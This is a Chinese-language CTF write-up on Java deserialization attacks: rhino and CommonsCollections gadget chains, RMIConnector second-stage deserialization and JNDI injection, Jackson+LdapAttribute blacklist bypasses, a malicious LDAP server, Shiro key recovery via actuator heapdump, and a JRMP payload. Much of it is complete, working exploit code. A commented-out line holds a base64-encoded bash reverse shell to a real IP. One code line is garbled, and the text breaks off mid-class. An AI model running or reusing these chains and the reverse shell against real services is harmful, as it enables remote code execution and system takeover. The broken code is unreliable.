记几道JAVA题
前言
Asal1n
老登丢过来的题目(题目名很多都不记得了),跟我说看一看,这一看,就是一天。
前置知识
rhino1链
关于rhino1
链的分析如下:
NativeError
类中,有toString()
方法能触发js_toString()
进而触发getString()
,此时传入的参数是NativeError
类和name
字符串
跟进ScriptableObject#getProperty
中,将obj
赋值给了start
后,调用NativeError#get()
方法,传入name
字符串和NativeError
对象。
NativeError
类没有get()
,它继承于IdScriptableObject
类,所以会调用IdScriptableObject#get()
,这个get
最终又会调用父类的get()
,即ScriptableObject#get()
。
ScriptableObject#get()
会触发ScriptableObject#getImpl()
,这个方法先调用getSlot()
获取一个Slot
对象,如果Slot
为空或者不属于GetterSlot
则直接返回,否则获取Slot
对象中的getter
实例。如果获取到的是MemberBox
类,则会进入条件判断中,最终进行反射调用。
- 如果
MemberBox
的delegateTo
是空,则反射调用的对象是start
即NativeError
,参数是空 - 如果不为空,则反射调用的是
delegateTo
对象,参数是start
对象
如果这里的MemberBox#delegateTo
可控,那么就可以被我们利用,但是delegateTo
是transient
修饰,是一个抽象属性,实例化MemberBox
的时候默认为空,所以nativeGetter#invoke
默认反射调用nativeError
对象,因此无法被控制,作者这里走的其实是else
里面的内容,调用Function
对象中的call()
到这里作者找到的是NativeJavaMethod
类,继承于BaseFunction
,而BaseFunction
继承了Function
类,NativeJavaMethod#call()
中先调用findFunction()
找到返回的索引,这里存储的其实是一个MemberBox
数组,找到赋值给一个MemberBox
实例
方法往下走也会进行反射调用找到的MemberBox
,如果可以控制javaObject
的值,就可以触发Rce
,因为MemerBox
类中的invoke
方法是直接触发了method.invoke()
。在else
方法里面,如果传入的 Scriptable
对象也就是传入的NativeError
,进入一个无限的for
循环,因为NativeError
不属于Wrapper
类,所以找不到javaObject
,最终会调用getPrototype()
重新判断,返回prototypeObject
对象。
作者最终找到的是NativeJavaObject
类,继承了 Scriptable, Wrapper, Serializable
三个类,满足了进入unwrap()
的条件,并且这个unwrap()
方法直接返回javaObject
,javaObject
也由transient
修饰,但是在NativeJavaObject
类中自定义了read/writeObject()
能够保存javaObject
至此整条链就形成了,通过NativeError#toString()
触发NativeJavaMethod#call()
,通过NativeJavaObject#unwrap()
返回TemplatesImpl
对象控制javaObject
最终利用MemberBox#invoke()
反射执行恶意类。
Gadgets如下:
BadAttributeValueExpException.readObject()
NativeError.toString()
ScriptableObject.getProperty()
ScriptableObject.getImpl()
NativeJavaMethod.call()
NativeJavaObject.unwrap()
MemberBox.invoke()
TemplatesImpl.newTransformer()
简单来说,rhino
链最终触发的地方其实是method.invoke()
,也就是可以触发任何的方法,但是这里两个命令执行类Runtime和ProcessBuilder
都被过滤掉了,于是开始考虑二次反序列化,因为javax.management.remote.rmi.rmiconnector
事实上是没有被过滤的,
RMIConnector二次反序列化
二次反序列化
顾名思义就是要找到一个方法里面能够接受对象触发readObject
,同时这个方法也可以通过反序列化链子
触发。此次的二次反序列化触发点就在findRMIServerJRMP
中。这个方法接受一个base64字符串
,将传入的字符串转换成字节数组
并读取,随后通过传入的env
环境变量解析客户端的类加载器
,如果获取到的类加载器
为空,则直接将字节流
转换成对象流
,最终通过readObject
触发反序列化。
在上面findRMIServer
中,接受了一个JMXServiceURL
类的参数和一个Map
,先调用isIiopURL
判断directoryURL
的协议类型是RMI
还是IIOP
,这里的判断方法是获取protocol
属性进行判断,protocol
在构造JMXServiceURL
的时候取出service:jmx:
后面部分赋值给protocol
。如果它是iiop
协议,会把java.naming.corba.orb
字符和类放入到map
中。最终从directoryURL
中获取urlPath
的内容,取出;
的索引位置,如果不存在;
,把end
赋值为整个长度,判断path
是以/jndi/ /stub/
等起始进入不同的方法并把/jndi/ /stub/
对应的字符串去掉。
此处要触发二次反序列化
,需要令findRMIServer
进入findRMIServerJRMP
,所以要传入的urlPath
以/stub/
开头并且是rmi
协议
在RMIConnect#connect
方法中和RMIConnect.RMIClientCommunicatorAdmin#doStart
找到调用了findRMIServer
的方法,这里肯定是使用connect
方便,这个方法根据terminated
和connected
判断是否以关闭交互或已连接抛出异常,最终来到rmiServer
的判断,这里rmiServer
也是RMIConnect
实例化的时候传参判断是,可以实例化RMIServer或jmxServiceURL
,当RMIServer
为空,会调用findRMIServerw
,这里的stub
可以理解为RMI协议
进行通信的中转器。
至于后面如何调用的connect
方法,在本类中并没有找到能直接调用connect
方法的东西,所以这里调用connect
方法可以通过method.invoke
的方式来触发,例如CC
链的触发点。
那么为什么不直接就通过method.invoke
触发findRMIServer
,因为connect
更简单,它可以接受空的参数就触发后面的链子并且是public
修饰的,而直接触发findRMIServer
需要传参,而且它是私有方法
。
Gadgets:
method.invoke()->
RMIConnect#connect()->
RMIConnect#findRMIServer()->
RMIConnect#findRMIServerJRMP()->
readObject()
payload(以CC1
链为例):
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.poi.ss.formula.functions.T;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class RmiConnect {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //解决第三个问题
//解决Runtime无法被序列化的问题
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","aiwin");
Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result= constructor.newInstance(Target.class,transformedMap);
String s= serialize2Base64(result);
RMIUnserialize(s);
}
public static void RMIUnserialize(String base64) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
setFieldValue(jmxServiceURL,"urlPath","/stub/"+base64);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","aiwin");
Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result= constructor.newInstance(Target.class,transformedMap);
byte[] serialize = serialize(result);
unserialize(serialize);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static String serialize2Base64(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return s;
}
public static void setFieldValue(Object object,String fieldName,String value) throws NoSuchFieldException, IllegalAccessException {
Field field=object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
objectInputStream.readObject();
}
}
RMIConnect JNDI注入
同样在findRMIServerJNDI
中它能够通过接受jndiURL
的形式来直接调用lookup
进而从远程服务器中调用ClassLoader
完成类加载,所以这里也是可以进行JNDI
注入的。
只需要把传入的directoryURL
以/jndi/
开头即可
payload(以CC6
为例):
package com.example.rmiconnect;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class RmiConnect_jndi {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String path="rmi://127.0.0.1:8085/OLtKoxXc";
JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
setFieldValue(jmxServiceURL,"urlPath","/jndi/"+path);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> Lazymap= LazyMap.decorate(map,new ConstantTransformer(1)); //先设置为其它Transformer,使其put()方法不触发
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
HashMap<Object,Object> map2=new HashMap<>();
map2.put(tiedMapEntry,"bbb");
Lazymap.remove("aaa"); //将key去掉,使它能进入transform()方法
setFieldValue(Lazymap,"factory",chainedTransformer);
unserialize(serialize(map2));
}
public static void setFieldValue(Object object,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
objectInputStream.readObject();
}
}
[未知]jackson+ldapattribute+ldap绕过
题目的源代码很简单,就是单纯给了一个反序列化的接口,然后联动了spring security
。
看一下spring security
做了什么,
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.demo.config;
import java.util.UUID;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.annotation.web.configurers.FormLoginConfigurer;
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer.AuthorizedUrl;
import org.springframework.security.crypto.factory.PasswordEncoderFactories;
import org.springframework.security.crypto.password.PasswordEncoder;
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
public SecurityConfig() {
}
@Bean
public PasswordEncoder passwordEncoder() {
return PasswordEncoderFactories.createDelegatingPasswordEncoder();
}
protected void configure(HttpSecurity http) throws Exception {
((HttpSecurity)((FormLoginConfigurer)((HttpSecurity)((AuthorizedUrl)((AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/admin/*"})).hasRole("ADMIN").anyRequest()).permitAll().and()).formLogin().defaultSuccessUrl("/admin/user/hello")).and()).logout().logoutSuccessUrl("/login");
}
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
String passwd = UUID.randomUUID().toString();
String adminPassword = this.passwordEncoder().encode(passwd);
auth.inMemoryAuthentication().withUser("admin").password(adminPassword).roles(new String[]{"ADMIN"});
System.out.println("admin password: " + passwd);
}
}
这里通过配置antMatchers
的形式过滤了/admin/*
的路由,要注意的是这里并不是**
,也就意味着这里只能够匹配/admin/a
,但是触发反序列化的路由中的/admin/user/readObj
并没有达到过滤的效果,所以无需考虑这里的限制。
再看一下自定义的反序列化类:
package com.example.demo.util;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
public class MyObjectInputStream extends ObjectInputStream {
private static final String[] blackList = new String[]{"AbstractTranslet", "Templates", "TemplatesImpl", "javax.management", "swing", "awt", "fastjson"};
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected MyObjectInputStream() throws IOException, SecurityException {
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String[] var2 = blackList;
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String black = var2[var4];
if (desc.getName().contains(black)) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
}
return super.resolveClass(desc);
}
}
过滤了AbstractTranslet、Templates、javax.management
等等,后面的那些没明白过滤的意义在哪里。
再看一下依赖,首先映入眼帘的就是jackson2.13.5、spring-security
两个类,整个思路就十分清晰了,可以通过jackson+signedObject
打原生的jackson
二次反序列化,或者jackson
打LDAPAttribute
链子触发LDAP
进而打入Jackson
原生反序列化的Templates
链子:
这里采取第二种方式,第一种也是可行的。
package com.example.test;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Poc {
public static void main(String[] args) throws Exception {
CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
String ldapCtxUrl = "ldap://127.0.0.1:5555";
Class<?> ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor<?> ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
String.class);
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
"name");
setFieldValue(ldapAttribute,"baseCtxURL",ldapCtxUrl);
setFieldValue(ldapAttribute,"rdn", new CompositeName("a//b"));
POJONode pojoNode = new POJONode("a");
XString xString=new XString("a");
HashMap map1=new HashMap();
HashMap map2=new HashMap();
map1.put("AaAaAa",xString);
map1.put("BBAaBB",pojoNode);
map2.put("BBAaBB",xString);
map2.put("AaAaAa",pojoNode);
Hashtable<HashMap, String> hashtable=new Hashtable<>();
hashtable.put(map1,"1");
hashtable.put(map2,"1");
setFieldValue(pojoNode,"_value",ldapAttribute);
String result=serialize(hashtable);
StringToFile(result);
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void StringToFile(String data) throws IOException {
try (FileWriter writer = new FileWriter("test.txt")) {
writer.write(data);
} catch (IOException e) {
e.printStackTrace();
}
}
public static String serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize(String data) throws IOException, ClassNotFoundException {
byte[] result=Base64.getDecoder().decode(data);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
原本的jackson
原生反序列化链子是通过BadAttribute
类来触发toString
的,但是这里javax.management
被禁用了,因此可以找其它的方式来触发toString
,这里找的其实是Xstring#equals()
方法。
在HashTable#readObject
触发的时候会进入到reconsititutionPut
方法中,这个方法会计算HashCode
,取余等操作。当控制了key
是XString
,就是进入到XString#equals
方法中。
Xstring#equals
中有触发toString
的方法,只需要领传入的参数是POJONode
即可。这里需要注意的是序列化的时候也会走入到这个方法当中,因此POJONode
需要先赋为其它的值,最后再通过反射改回去。
所以整条链子就是:
HashTable#readObject->HashTable#reconstitutionPut->Xstring#equals->POJONode#toString->LDAPAttribute#getAttributeDefinition->com.sun.jndi.ldap#c_lookup->NamingManager#getObjectFactoryFromReference#->loadClass().newinstance()->打原生的Jackson链。
具体关于LDAPAttribute
链子的分析,可以看我以前的文章:LdapAttribute链
原生的Jackson+templates
链:
package com.example.test;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Evil {
public static void main(String[] args) throws Exception {
CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val",pojoNode);
String result=serializes(exp);
StringToFile(result);
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}\");";
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}ic static String serializes(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void StringToFile(String data) throws IOException {
try (FileWriter writer = new FileWriter("output.txt")) {
writer.write(data);
} catch (IOException e) {
e.printStackTrace();
}
}
}
因为是触发的LDAP
来进行远程的类加载实例化,因此在高版本的JAVA
中,肯定是关闭了codebases
的,这里肯定是需要通过设置javaSerializedData
来启动LDAP
服务来进行序列化绕过高版本的限制,payload如下:
···
package com.example.test;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import javax.security.auth.Subject;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.UnknownHostException;
public class JndiBypass {
private static final String LDAP_BASE = "dc=example,dc=com";
private static String base64;
public static void main ( String[] tmp_args ) throws LDAPException, UnknownHostException, MalformedURLException {
String url="http://127.0.0.1/#evil";
int port=5555;
base64="放入上方生成的payload";
String[] args=new String[]{url};
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private final URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode(base64));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
当我信心满满的打进入,发现出现了403
,为什么是403
,被spring-security
限制之后应该出现的是401未授权
,这里卡了是大半天,属实是没搞懂。
尝试询问下GPT
先生,会发现它告诉我的是已经通过了角色的认证,但是缺少了某些权限,也就是我请求提交的时候缺少了某些东西。
当重新切回去登录页面,观察页面有什么不同之处的时候,会发现这里多了一个csrf
值,原因是Spring Security
默认会开启csrf验证
,可以通过http.csrf().disable()
关闭掉这个验证,如果没关闭掉,那么请求的时候就得带上csrf
参数。
最终也是能够成功执行shell
命令,结果如下:
[未知]actuator+shiro+rhino+Rmi二次反序列化
一个登录框,带有rememberMe
功能,很明显的shiro
框架。
通过比较常用的shiro工具
进行爆破,发现工具显示能够爆破出密钥,但是得不到利用链子,但是重新进行密钥爆破会发现密钥又不一样,感觉更像是工具的问题,其实并没有得到密钥。
扫描目录其实会发现这里存在actuator
,关于actuator
,简单来说就是开发人员的疏忽,类似于debug
的东西没有做任何的限制,具体的作用为如下:
Spring Boot Actuator 模块提供的一组监控和管理端点(endpoints),用于帮助监视和管理应用程序的运行状态。这些端点可以提供有关应用程序运行时信息的访问,例如健康状况、指标、环境属性、配置信息等。这些端点使得开发人员和运维人员可以更容易地监视和管理应用程序,从而更好地理解应用程序的运行状态并做出相应的调整
既然有了springboot
的信息泄露,可以通过heapdump
将JVM
栈的内存下载下来,查看内存中是否有敏感的信息,访问actuator/heapdump
即可。
在heapdump
中找到了shiro key
,那么剩下就是反序列化链子的问题,因为在/actuator/env
中是可以看到它存在的依赖包,因此可以在里面找。
这里其实也用了很多很多链子,发现都没成功,直至我尝试进行登录爆破,发现存在弱口令admin admim888
,上面显示了黑名单过滤的东西,过滤的还是比较多的,包括SignedObject jackson cb链 templatesImpl
等等。
仔细看依赖包,发现会存在rhino
并且是1.7
的版本,这不正是yoserial
链中的版本吗,也就是说可以打rhino
链,那么问题就是rhino
该怎么打呢,因为这里没有过滤javax.management.remote.rmi.RMIConnector
,所以可以考虑RMIConnector
二次反序列化。
整个payload如下:
package com.example.test;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.mozilla.javascript.*;
import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
public class Rhino {
public static void main(String[] args) throws Exception {
CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new
BadAttributeValueExpException(null);
setFieldValue(exp,"val",pojoNode);
String result=serialize2Base64(exp);
attack(result);
}
public static void attack(String base64) throws Exception {
JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
setFieldValue(jmxServiceURL,"urlPath","/stub/"+base64);
Class<?> NativeErrorClass=Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> constructor=NativeErrorClass.getDeclaredConstructor();
constructor.setAccessible(true);
Scriptable NativeError= (Scriptable) constructor.newInstance();
//初始化javaObject,使unwrap()返回TemplatesImpl对象,同时完整初始化为了满足initMembers()不报错
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); //设置一个JavaScript环境
NativeJavaObject nativeJavaObject=new NativeJavaObject(scriptableObject,rmiConnector,RMIConnector.class);
//使getPrototype()返回的是NativeJavaObject对象
Field prototypeObject= ScriptableObject.class.getDeclaredField("prototypeObject");
prototypeObject.setAccessible(true);
prototypeObject.set(NativeError,nativeJavaObject);
//赋值NativeJavaMethod中的methods数组,使Memberbox中的method是newTransformer()
Method templatesMethod=RMIConnector.class.getDeclaredMethod("connect");
templatesMethod.setAccessible(true);
NativeJavaMethod nativeJavaMethod=new NativeJavaMethod(templatesMethod,"test");
//实例化一个Slot对象,并放入NativeError中,Slot slot = getSlot(name, index, SLOT_QUERY);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(NativeError, "name", 0, 4);
//使getter获取到的getterObj是nativeJavaMethod,触发Function中的call()
Class<?> GetterObj=Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getter=GetterObj.getDeclaredField("getter");
getter.setAccessible(true);
getter.set(slotObject,nativeJavaMethod);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, NativeError);
StringToFile(serialize2Base64(badAttributeValueExpException));
}
public static String serialize2Base64(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
outputStream.close();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void StringToFile(String data) throws IOException {
try (FileWriter writer = new FileWriter("output.txt")) {
writer.write(data);
} catch (IOException e) {
e.printStackTrace();
}
}
}
整个链子就是:
BadAttributeValueExpException.readObject()->NativeError.toString()->ScriptableObject.getProperty()->ScriptableObject.getImpl()->NativeJavaMethod.call()->NativeJavaObject.unwrap()->MemberBox.invoke()->RMIConnector#connector()->RMIConnector#findRMIServerJRMP()->Jackson原生链。
成功执行命令:
[Hgame week4]i-short-you1
题目代码:
题目代码很短,只限制了长度为220
,也就是说这样必定不可能是常规接受参数进行反序列化的打法,可能的就是RMI、LDAP、JRMP
去请求payload
从而实现命令执行的打法
看一眼依赖,发现就只有springboot
的正常依赖,但是这里jackson
的版本是2.13
,这个版本号依旧是存在jackson
反序列化漏洞的。
因为题目环境的jdk
版本是202
,在191
之后,也就是说RMI、ldap
这一类的codebase
已经被ban
掉了,唯一可用的就只剩下JRMP
,所以此处是JRMP打JACKSON1
链子的打法
package org.vidar.controller;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.*;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
public class POC {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjID objID=new ObjID();
TCPEndpoint tcpEndpoint=new TCPEndpoint("127.0.0.1",8081); //vps-ip
LiveRef liveRef=new LiveRef(objID,tcpEndpoint,false);
UnicastRef unicastRef=new UnicastRef(liveRef);
RemoteObjectInvocationHandler remote=new RemoteObjectInvocationHandler(unicastRef);
ByteArrayOutputStream byteArrayOutput=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutput);
outputStream.writeObject(remote);
outputStream.close();
